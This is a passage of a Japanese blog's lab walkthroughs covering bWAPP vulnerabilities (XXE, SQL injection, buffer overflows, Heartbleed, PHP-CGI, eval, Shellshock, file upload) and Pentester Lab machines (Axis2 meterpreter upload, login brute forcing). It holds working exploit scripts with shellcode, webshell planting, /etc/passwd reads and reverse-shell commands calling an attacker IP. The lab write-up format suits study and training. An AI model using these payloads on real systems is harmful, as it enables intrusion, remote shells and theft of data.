    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    $results = array();
    
    foreach($ports as $port)
    {
        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {
            $results[$port] = true;
            fclose($pf);            
        }        
        else
        {
            $results[$port] = false;        
        }
    }
    foreach($results as $port=>$val)
    {
        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";
        if($val)
        {
            echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
            echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
    }
}
?>

rlfi.php?ip=192.168.56.5&language=http://192.168.56.5/share/ssrf-1.txt&action=go
bWAPPアプリケーションからしか見えないようなネットワーク上のホストに対してポートスキャンができている!(今回はKaliをポートスキャンしているが)
f:id:kakyouim:20200210211606p:plain

XXEiを用いたSSRFは次の問題のページを使う
次に記す

XML External Entity Attacks (XXE)

f:id:kakyouim:20200210212227p:plain
Burpでリクエストの内容を確認するとXMLがPOSTされている

POST /bWAPP/xxe-2.php HTTP/1.1
Host: 192.168.56.33
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.33/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 59
Connection: close
Cookie: security_level=0; PHPSESSID=f9ff717d145019ee9534c77dbf15fcf7

<reset><login>bee</login><secret>Any bugs?</secret></reset>

BurpのXMLの欄で、POSTの内容を以下に書き換える

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

成功している!
f:id:kakyouim:20200210212428p:plain
ソースコードは以下の通り

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
    ini_set("display_errors",1);
    $xml = simplexml_load_string($body);
    // Debugging
    // print_r($xml);
    $login = $xml->login;
    $secret = $xml->secret;
    if($login && $login != "" && $secret)
    {
        // $login = mysqli_real_escape_string($link, $login);
        // $secret = mysqli_real_escape_string($link, $secret);
        
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        // Debugging
        // echo $sql;      
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!";
    }
}
// If the security level is MEDIUM or HIGH
else
{
    // Disables XML external entities. Doesn't work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    // Debugging
    // print_r($xml);
    $login = $_SESSION["login"];
    $secret = $xml->secret;
    if($secret)
    {
        $secret = mysqli_real_escape_string($link, $secret);
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
        // Debugging
        // echo $sql;      
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Connect Error: " . $link->error);
        }
        $message = $login . "'s secret has been reset!";
    }
    else
    {
        $message = "An error occured!"; 
    }
}

に入力したものが、XML解析されて、その結果がそのまま表示されることが脆弱。
Mediumでは表示するものはSESSION[]からとってきているため、ファイルがみられることはない。
ソースコードを見る限り、lowではsecretでBlind SQLInjetionが可能に見えるので試す
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
で成功!
f:id:kakyouim:20200210212738p:plain

また、XXEiで表示するコンテンツに<が含まれる場合、XML構文が終了してしまうためそのよう場合には、
php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml
としてBase64エンコードする

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


また、CVE-2013-4890により、bWAPPアプリケーションを使ってDOS攻撃ができる
f:id:kakyouim:20200210213007p:plain
f:id:kakyouim:20200210213055p:plain
参考文献
[https://canyoupwn.me/tr-xml-external-entity-xxe/?cf_chl_jschl_tk=9cba495907f43e11adaca79edd901008cd761095-1581331599-0-AeVtOLQ7W1iFzYapK2sPvn1o9dzyzq9IcRv1TYcc05_e5Y6p5orP8NftJV2UYW_7Kyr9U7WnOWNZCSCA92Q7nU3rNyTo3GUO-Y4s07Yrymqu3MY_knZQjIBeIgAcAxl1xxc7wMVWIpP0gM4UrTcFRDePtXqqeEpdameHnsY7_7G9ZwcYpMlu4uH3YFqpa7FxyRq2wQARUpA8oYyXU98JhP6cpM-fM-nHjdyi01Gy31QqqwllhgNB51IOP9SJ2yAA6Lt852gsMNle8rOL51ACKrxVDmwdaLeNKT3468skykdGWJM9elFsE5wJg6aG-dnJTQ]
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

A9 - Using Known Vulnerable Components

Buffer Overflow (Local)

f:id:kakyouim:20200211163117p:plain
lowではOSコマンドインジェクションができる
POSTの値を以下にするとシェルが得られた
title=$(nc -e /bin/sh 192.168.56.5 4444)&action=search

BOFの調査をしていく。対象のファイルはbWAPP/apps/movie_searchなので先ほど得られたシェルからgdbなどでデバッグする
まずは、EIPが入力文字列の何文字目かを調査する
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
f:id:kakyouim:20200211163445p:plain
gdb --args ./movie_search "今の文字列”
f:id:kakyouim:20200211163524p:plain
EIPには0x41386c41が代入されている!
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
f:id:kakyouim:20200211163631p:plain
これで、EIPを任意のアドレスにJMPさせることが可能になった。
次は、そのJMP先を自分で作成するペイロードなどにに設定する
radare2 ./movie_search
で何かほかにJMPさせられそうな関数はないか調べる。
今回はなかった
gdb上でペイロード送信後にespに代入されているアドレスに格納されている値を確認すると、19Amとなっており、このオフセットを確認すると、358である
f:id:kakyouim:20200211164409p:plain
したがって、358文字目からespが指すアドレスに格納されており、ここからペイロードを開始して、EIPにjmp espを指定すればペイロードを実行できそうである
"A"*354 + "jmp esp" + "payload"が今回のExploitコードである
objdump -D -M intel movie_search | grep jmp | grep esp
f:id:kakyouim:20200211164904p:plain
次にmsfvenomを用いてペイロードを作成する
payload=linux/x86/exec, encoders=x86/opt_subを指定する
標準のEncoderはshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
cat payload.txt
f:id:kakyouim:20200211165217p:plain
このペイロードをURLエンコードする
(echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
(echo -n \'; cat payload.txt; echo -n \';)catの結果の前後に'を挿入して次のコマンドの入力とする
s/(.)で文字列を一バイトずつ$1に送信。
/でその文字列を置換する.
sprintf("%%%02X",ord($1))PerlでURLエンコード.
seg 一連の正規表現フラグ
f:id:kakyouim:20200211165305p:plain
ここで、'を挿入している理由は、

$output = shell_exec('/bin/sh /path/to/hoge.sh "'.$arg.'"')

と書くのが正常だが、ソースコードでは

echo shell_exec("./apps/movie_search " . $title);

となっているため、’’が必要だった。
こうして得られたペイロードを使用してExploitを作成する
f:id:kakyouim:20200211165811p:plain
f:id:kakyouim:20200211165823p:plain

ちなみに、msfvenomでpython形式で出力してURLエンコードしてもできる

use linux/x86/exec
set CMD /bin/ps
generate -b '\x00' -e x86/opt_sub -f py

f:id:kakyouim:20200211170053p:plain
pythonで正しくURLエンコードするには、
b"\x8f\x92\x04\x08"
とする必要がある
'\x8f\x92\x04\x08' ("\x8f\x92\x04\x08")ではだめだった

import urllib.parse
junk = "A"*354
ret2 = b"\x8f\x92\x04\x08"
buf =  b""
buf += b"\x54\x58\x2d\x05\xfd\xfd\xfd\x2d\x01\x01\x01\x01\x2d"
buf += b"\x01\x01\x01\x01\x50\x5c\x25\x01\x01\x01\x01\x25\x02"
buf += b"\x02\x02\x02\x2d\x75\x1c\x30\x7d\x2d\x01\x01\x01\x01"
buf += b"\x2d\x01\x01\x01\x01\x50\x2d\x14\xdf\x74\x2b\x2d\x01"
buf += b"\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x08\x90\x25"
buf += b"\xe1\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d"
buf += b"\x67\x6c\xfe\x0b\x2d\x01\x01\x01\x01\x2d\x01\x01\x01"
buf += b"\x01\x50\x2d\xac\x15\x24\x60\x2d\x01\x01\x01\x01\x2d"
buf += b"\x01\x01\x01\x01\x50\x2d\xe7\x77\x7d\x1a\x2d\x01\x01"
buf += b"\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x67\x04\x58\x7f"
buf += b"\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50\x2d\x96"
buf += b"\x36\xba\xf7\x2d\x01\x01\x01\x01\x2d\x01\x01\x01\x01"
buf += b"\x50\x2d\x39\xca\xe7\x7e\x2d\x01\x01\x01\x01\x2d\x01"
buf += b"\x01\x01\x01\x50\x2d\x92\x0e\x21\x7d\x2d\x01\x01\x01"
buf += b"\x01\x2d\x01\x01\x01\x01\x50\x2d\x07\xe6\x58\x0e\x2d"
buf += b"\x01\x01\x01\x01\x2d\x01\x01\x01\x01\x50"
print(urllib.parse.quote("'" + junk) + urllib.parse.quote(ret2) + urllib.parse.quote(buf) + "'")

f:id:kakyouim:20200211170129p:plain

Buffer Overflow (Remote)

f:id:kakyouim:20200212002329p:plain
nmap -p1-1024 192.168.56.33 -T5
f:id:kakyouim:20200212002356p:plain
666ポートが対象のポートである
f:id:kakyouim:20200212002432p:plain
localと同様にExploitする。ペイロードとして、

linux/x86/shell/reverse_tcp
を使用してみる

use linux/x86/shell/reverse_tcp
set LHOST 192.168.56.5
generate -b '\x00' -f py

f:id:kakyouim:20200212002613p:plain
以上より、Exploitは以下の通りである

import sys
import socket
host = "192.168.56.33"
port = 666

junk = b"A" * 354
ret_addr = b"\xa7\x8f\x04\x08"
nop = b"\x90" * 16
buf =  b""
buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c"
buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2"
buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a"
buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1"
buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13"
buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48"
buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b"
buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed"
buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22"
buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70"
buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66"
buf += b"\x98\x4d\x19\x66\xde\x80\x99"

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + ret_addr + nop + buf)
s.close()

これを実行すると、4444ポートでリバースシェルが得られた!
f:id:kakyouim:20200212002742p:plain

また、linux/x86/shell_bind_tcpでも試してみる

use linux/x86/shell_bind_tcp
set RHOST 192.168.56.33
generate -b '\x00' -f py

このペイロードは標的でポートを開けて、そこにncで接続することでシェルを得る
f:id:kakyouim:20200212003059p:plain
nc 192.168.56.33 4444
不完全なシェルが得られている
f:id:kakyouim:20200212003120p:plain
f:id:kakyouim:20200212003158p:plain
実行できるものもあれば正常にできてないものもある

これでもできる

Heartbleed Vulnerability

  • low
    f:id:kakyouim:20200212172218p:plain
    OpenSSLとは、オープンソースの暗号ソフトウェアライブラリで、サーバー などがSSL/TLSと呼ばれる暗号方式を利用するために使用される
    OpenSSLは、ApacheやNginxといったウェブサーバーに使われており、他に もSSL通信を行うアプリケーションなどに広く使われている
    Heart bleed脆弱性は、ペイロードを送信することでWebサーバーのメモリの一部を取得できるらしい。
  • sslscan --no-failed --version 192.168.56.33:8443
    なぜかHeart Bleedを検出できていない
    f:id:kakyouim:20200212172548p:plain
  • ./o-saft.tcl
    f:id:kakyouim:20200212172615p:plain
  • ./testssl.sh -U 192.168.56.33:8443
    f:id:kakyouim:20200212172643p:plain
  • nmap --script ssl-heartbleed -sV -p 8443 192.168.56.33
    f:id:kakyouim:20200212173012p:plain
  • /usr/share/exploitdb/exploits/multiple/remote/32745.py
    searchsploitの結果、これを使用してみる
    f:id:kakyouim:20200212172741p:plain
    • /usr/share/exploitdb/exploits/multiple/remote/32745.py 192.168.56.33 -p 8443
      メモリの一部が読み取れている!
      f:id:kakyouim:20200212172857p:plain
      f:id:kakyouim:20200212172913p:plain
  • msfconsole> use auxiliary/scanner/ssl/openssl_heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.56.33
set RPORT 8443
set verbose true
exploit

f:id:kakyouim:20200212173104p:plain
参考文献

https://www.symantec.com/content/ja/jp/enterprise/images/outbreak/Heartbleed_vulnerability.pdf
https://net123.tistory.com/547

PHP CGI Remote Code Execution

f:id:kakyouim:20200212173156p:plain
リンク先に移動してみると、以下のページになる。
f:id:kakyouim:20200212173350p:plain
PHPコードの実行方法にはModule方式とCGI方式の二つある。

  • Module方式
  • Module方式では、apacheなどのWEBサーバに組み込まれているmodule (mod_phpなど)がPHPコードを外部実行する。
    一般的なものはこれ。apache mod_phpの実行権限でphpが動作するためPHPコードによって権限を分けることができない。
  • CGI方式
  • CGI方式では、PHPコードや引数を引き渡したphp-cgiを外部実行する。

今回はcgiという文字が見える通りCGI方式である
phpinfo.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示する
f:id:kakyouim:20200212173815p:plain
POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
として、POSTデータを以下に書き換えると行けた!
<?php readfile('/etc/passwd'); ?>

  • allow_url_include=On
  • -dオプションを用いて、php.iniのディレクティブを外部から指定する。
  • auto_prepend_file=php://input
  • includeするファイルをURL指定でリモートから読み出すことを許可して、PHP実行に先立ち、スクリプトをincludeしておく。
  • <?php readfile('/etc/passwd'); ?>
  • ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行する。
    f:id:kakyouim:20200212173915p:plain

    ちなみに、
    nikto -h http://192.168.56.33/bWAPP/admin/
    でこの脆弱性を発見できている!
    f:id:kakyouim:20200212174157p:plain
    参考文献
    https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
    https://www.fumi.org/neta/201205sv.html

    PHP Eval Function

    f:id:kakyouim:20200212171755p:plain
    問題のソースコードは以下。
    COOKIE,POST,GETでeval=hogeとすることでeval関数を実行できる。

        <?php
        @eval($_REQUEST["eval"]);
        ?>
    
    php_eval.php?eval=system('cat /etc/passwd');
    で成功!
    f:id:kakyouim:20200212171948p:plain
    eval=phpinfo();
    eval=;echo exec('id');
    eval=;echo exec(id); 
    eval=;exec(‘nc -e /bin/sh 192.168.56.5 4444’);
    でも成功!
    execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)

    phpMyAdmin BBCode Tag XSS

    f:id:kakyouim:20200212193557p:plain
    f:id:kakyouim:20200212193612p:plain
    以下XSSスクリプト

    /phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It's+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This Is a Link[%2Fa]
    このような悪意のあるリンクを含んだページをXSSを用いて挿入できる
    f:id:kakyouim:20200212193716p:plain
    参考文献
    https://www.exploit-db.com/exploits/15699

    Shellshock Vulnerability (CGI)

    f:id:kakyouim:20200212193901p:plain
    /bWAPP/cgi-bin/shellshock.shにアクセスするとこのスクリプトが実行されるようです
    f:id:kakyouim:20200212194258p:plain
    Referer: () { :;};echo;/bin/echo "shell shock"
    f:id:kakyouim:20200212194044p:plain
    (){:;}の間にスペース必要!!!!
    以下のペイロードでも成功!
    Referer: () { :;};echo;echo "shell shock"
    Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
    User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"

    metasploitでも成功!
    metasploitではUserAgentを使って攻撃しています!

    use exploit/multi/http/apache_mod_cgi_bash_env_exec
    set RHOSTS 192.168.56.33
    set targeturi /bWAPP/cgi-bin/shellshock.sh
    exploit
    f:id:kakyouim:20200212194855p:plain
    f:id:kakyouim:20200212194913p:plain
    参考文献
    https://net123.tistory.com/551
    https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/

    SQLiteManager PHP Code Injection

    f:id:kakyouim:20200213011146p:plain
    f:id:kakyouim:20200213011202p:plain
    f:id:kakyouim:20200213011352p:plain
    python2 /usr/share/exploitdb/exploits/multiple/webapps/24320.py http://192.168.56.33/sqlite/
    で、リモートからデータベースを作成してPHPコードを挿入できる
    データーベースファイルの拡張子を.phpにしておいて、そのデータベースにVauleとしてPHPコードを記述すれば、データベースファイルがPHPコードとして実行される。
    通常は、データベースファイルは.sqlite3などの拡張子となる。
    f:id:kakyouim:20200213011606p:plain
    上記Exploitが成功すると、phpinfoというデーターベースが作成される
    f:id:kakyouim:20200213011547p:plain
    database fileのあるパスにアクセスすると、database fileに記述された<?php phpinfo() ?>PHPコードとして実行し、phpinfo()の実行結果が表示されている
    f:id:kakyouim:20200213011659p:plain
    同様のことを手動でも確認する
    database fileをshell5.phpという名前で作成する
    f:id:kakyouim:20200213011938p:plain

    CREATE TABLE inject_table(codetab text);
    INSERT INTO inject_table VALUES('<?php system($_GET['cmd']); ?>');
    
    SQLで実行しようとしてみる
    f:id:kakyouim:20200213012011p:plain
    すると、以下のようなエラー
    f:id:kakyouim:20200213012111p:plain
    phpinfo()に書き換えるとうまく行く
    f:id:kakyouim:20200213012147p:plain
    f:id:kakyouim:20200213012203p:plain
    database fileのパスを[option]から確認
    f:id:kakyouim:20200213012232p:plain
    このパスにアクセスしてみると、phpinfo()の実行結果が表示されている!
    f:id:kakyouim:20200213012317p:plain
    次に、このphpinfo()を編集してWebshellを設置する
    f:id:kakyouim:20200213012353p:plain
    f:id:kakyouim:20200213012409p:plain
    以下のように編集する
    f:id:kakyouim:20200213012423p:plain
    f:id:kakyouim:20200213012446p:plain
    先ほどと同じパスにアクセスするとWebshellが動いている!
    f:id:kakyouim:20200213012527p:plain

    Other bugs

    Information Disclosure – Favicon

    f:id:kakyouim:20200213020345p:plain
    Drupalfaviconだよねってこと。
    f:id:kakyouim:20200213020400p:plain

    Information Disclosure – Headers

    f:id:kakyouim:20200213020431p:plain
    f:id:kakyouim:20200213020444p:plain

    Insecure iFrame (Login Form)

    f:id:kakyouim:20200213020508p:plain
    ソースコードは以下
    f:id:kakyouim:20200213020532p:plain
    このソースコードをさらに見てみる
    f:id:kakyouim:20200213020600p:plain
    attackerにPOSTされてしまうようになっている!
    実際にPOST先をBurpで見てみると以下のようになっている
    f:id:kakyouim:20200213020649p:plain

    Unrestricted File Upload

    • low
      f:id:kakyouim:20200213020713p:plain
      exploit.phpをアップできた!
      何もチェックしていない

    • medium
      f:id:kakyouim:20200213020834p:plain
      exploit.phtをアップするとPHPファイルとして実行された!
      ソースコードは以下

      function file_upload_check_1($file, $file_extensions  = array("asp", "aspx", "dll", "exe", "jsp", "php"), $directory = "images")
      {
        // Breaks the file in pieces (.) All pieces are put in an array
        $file_array = explode(".", $file["name"]);

      // Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);

      // Searches if the file extension exists in the 'allowed' file extensions array if(in_array($file_extension, $file_extensions)) {

       $file_error = &quot;Sorry, the file extension is not allowed. The following extensions are blocked: <span class="synIdentifier">&lt;</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot; . join(&quot;, &quot;, $file_extensions) . &quot;<span class="synIdentifier">&lt;/</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot;;
       return $file_error;
      

      }

    • high
      f:id:kakyouim:20200213020943p:plain
      webshell.php.jpgがアップできた!
      他にLFIなどの脆弱性があってこのファイルをPHPファイルとしてincludeできる場合、実行することができる!

      function file_upload_check_2($file, $file_extensions  = array("jpeg", "jpg", "png", "gif"), $directory = "images")
      {
        // Breaks the file in pieces (.) All pieces are put in an array
        $file_array = explode(".", $file["name"]);

      // Puts the last part of the array (= the file extension) in a new variabele // Converts the characters to lower case $file_extension = strtolower($file_array[count($file_array) - 1]);

      // Searches if the file extension exists in the 'allowed' file extensions array if(!in_array($file_extension, $file_extensions)) {

       $file_error = &quot;Sorry, the file extension is not allowed. Only the following extensions are allowed: <span class="synIdentifier">&lt;</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot; . join(&quot;, &quot;, $file_extensions) . &quot;<span class="synIdentifier">&lt;/</span><span class="synStatement">b</span><span class="synIdentifier">&gt;</span>&quot;;
       return $file_error;
      

      }

Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager

Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください

pentesterlab.com

なお、調査の方法は自分の書いた記事を参考にしています。

kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200128193451p:plain
    192.168.56.31が対象のアドレスですね

  • nmap -p- -sV -sT -A 192.168.56.31
    f:id:kakyouim:20200128193547p:plain
    sshApachewebサービスが稼働しているようですね

  • nikto -h 192.168.56.31
    f:id:kakyouim:20200128193646p:plain
    有効なものとしては、
    • axis2/axis2-admin/の存在
    • axis2/axis2-admin/loginにuser=admin,password=axis2でログイン可能
    • CVE-2010-2103(axis2へのXSS)
      を検出しています。

      クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
      どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。

      ちなみに、tomcatのバージョンもエラーページから判明しました。
      f:id:kakyouim:20200128194637p:plain
      tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploitで検索してみましたが特にそれっぽいExploitは見つかりませんでした。

      axis2へ攻撃

      f:id:kakyouim:20200128194459p:plain
      上記に先ほど判明したクレデンシャルを入れてログイン。

      ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
      f:id:kakyouim:20200128195002p:plain

      いろいろググってみると、clusterdというツールでaxis2にWebshellをアップできるようです。
      早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
      つまりこのツールは動かなそうです。
      でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます

      f:id:kakyouim:20200128195427p:plain
      これから、この動作をmsfvenomで書き直すと、
      sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
      で行けそうです。
      これをアップロードしてみます。しかし以下のようなエラーにより動いていません
      f:id:kakyouim:20200128195805p:plain
      どうやらservices.xmlとがいうファイルが足りてないようです。
      またググってみると、以下のようなページを見つけたのでそれに従ってみます。

https://github.com/hatRiot/clusterd/wiki/Axis2

sudo jar -xvf shell.jarで一度展開し、
META-INF/src/module/generate_payload.pyに書かれているservices.xmlを追加。
metasploit/src/lib/axis2/PayloadServlet.classを追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat で再度jarファイルを作成し、アップロード。

f:id:kakyouim:20200128200301p:plain
これでエラーなく動いていますね!!
あとはMetasploitを起動して、

use multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.56.5
exploit

これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shellにアクセスすることでMeterpreterセッションがつながりました!
f:id:kakyouim:20200128200530p:plain


ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね

最後に

予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!

Pentester Lab: Rack Cookies and Commands Injection Walkthrough

難易度hardのマシンです。自分は難しくて手も足も出ませんでした……
基本的にはpenterster lab公式のWalkthroughを読むことをおススメします。ここにはそっちには書いていないような自分が試したこととかをメモします。完全なWalkthroughではないので悪しからず
調査する手順とか方法は自分が書いた

kakyouim.hatenablog.com
を参考にしています。

ネットワークの調査

  • echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
    f:id:kakyouim:20200127004130p:plain
    192.168.56.32ですね。
  • nmap -p- -sV -sT -A 192.168.56.32

    f:id:kakyouim:20200127004216p:plain
    sshとISCBINDが起動していますがどちらも脆弱ではないようです。Webサービスの稼働している80を見ていくことになりそうですね
  • nikto -h 192.168.56.32
    f:id:kakyouim:20200127004540p:plain
    特に有益な情報はないですね

  • owasp zap
    f:id:kakyouim:20200127004404p:plain
    自分はいろいろ試すためにowasp zapとかも使って見ています。どうやらログインページがあるだけのようですね

    調査は大体こんなもんでしょうか。次は、vulnhubの説明にもあるようにブルートフォースでログインを試みてみます

    Login Brute Force

  • hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -P /usr/share/john/password.lst -s 80 192.168.56.32 http-post-form '/login:login=^USER^&password=^PASS^:....'
    とりあえずhydra先輩を使ってみる、が成功せず……。なんでだ?と思いWiresharkで確認する
    f:id:kakyouim:20200127004937p:plain
    Locationヘッダーでリダイレクトしている様子。
    hydraはbodyの中に特定の文字列があるかどうかで判定しているが、今回はbodyには何も含まれずリダイレクトするので失敗していると考えられる。
    ツールの限界を知るのって大事ですね

  • medusa -h 192.168.56.32 -U /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -M web-form -m FORM:"/login" -m DENY-SIGNAL:".." -m FORM-DATA:"post?login=&password=&"
    次に、medusa先輩を使ってみる
    f:id:kakyouim:20200127005302p:plain
    どうやらレスポンスコードが302の場合はエラーとなって実行できないようです。
    ツールによっていろいろ違うんですね

  • Burp Intruder
    次にBurp Suiteの機能の一つであるIntruderを使ってみます
    wordlistとして、/usr/share/metasploit-framework/data/wordlists/http_default_users.txtを使ってみます
    f:id:kakyouim:20200127005518p:plain
    どれも成功してません……
    BurpはPro版でなければスレッドを1以外に多分設定できないのでめっちゃ時間かかります。できれば別のワードリストで試したいですがそれは時間的に厳しそうです
    ちなみにBurpならリダイレクト先まで確認できるのでそれをみれば判定できそうです

    自分はここでギブアップしてしまいましたが、公式の解説を見るとどうやらpatatorというツールを使えばリダイレクト先までチェックできるようです
  • python patator.py http_fuzz url=http://192.168.56.32/login method=POST body='login=FILE0&password=FILE0' 0=/usr/share/wfuzz/wordlist/general/big.txt accept_cookie=1 follow=1 -x ignore:fgrep='DNS Manager Login'
    f:id:kakyouim:20200127010048p:plain
    これで成功しました!
    なお、標準でpatatorコマンドは入っているのですが、なんか動かなかったので新しく入れなおしました

ちなみにignoreオプションを付けてもいいのですが、レスポンスのサイズでも判別できるような気がするので、-l /tmp/patatorオプションでRUNTIME.logにコマンド実行結果を保存して、
cat RUNTIME.log | awk '{print $6":"$9}' | awk -F ":" '{if($1!=346) print $1" "$3}'
とかで異常なレスポンスのサイズのやつを抽出すると、
f:id:kakyouim:20200127010404p:plain
こんな感じでtestだとわかりますね!


ちなみに、公式ではRubyブルートフォースコードも実装していましたが、勉強のためにpythonでも書いてみました(実際に別の言語でコードを書いてみよう!的なことが書いてあったので……)。

なお、公式の方では、Locationヘッダーに/login以外があるかどうかで判別していましたが、pythonの方ではSet-Cookieヘッダーがあるかないかで判別するようにしました

import urllib.request
import urllib.parse
from bs4 import BeautifulSoup
import sys
import subprocess

user_count = int(subprocess.check_output(['wc', '-l', sys.argv[1]]).decode().split(' ')[0])
pass_count = int(subprocess.check_output(['wc', '-l', sys.argv[2]]).decode().split(' ')[0])
print("Count file line:user",user_count," pass",pass_count)
count = 0

opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

url = 'http://192.168.56.32/login'
data = {
    'login': 'foo',
    'password': 'deadbeef',
}

headers = {
}

fp_user = open(sys.argv[1],'r',encoding="utf8",errors='ignore')
for user in fp_user.readlines():
    
    fp_pass = open(sys.argv[2],'r',encoding="utf8",errors='ignore')
    for password in fp_pass.readlines():
        data["login"] = user.rstrip('\n')
        data["password"] = password.rstrip('\n')
        #print("Try username:",user.rstrip('\n')," password:",password.rstrip('\n'))
        count = count + 1
        if((count % 300)==0):
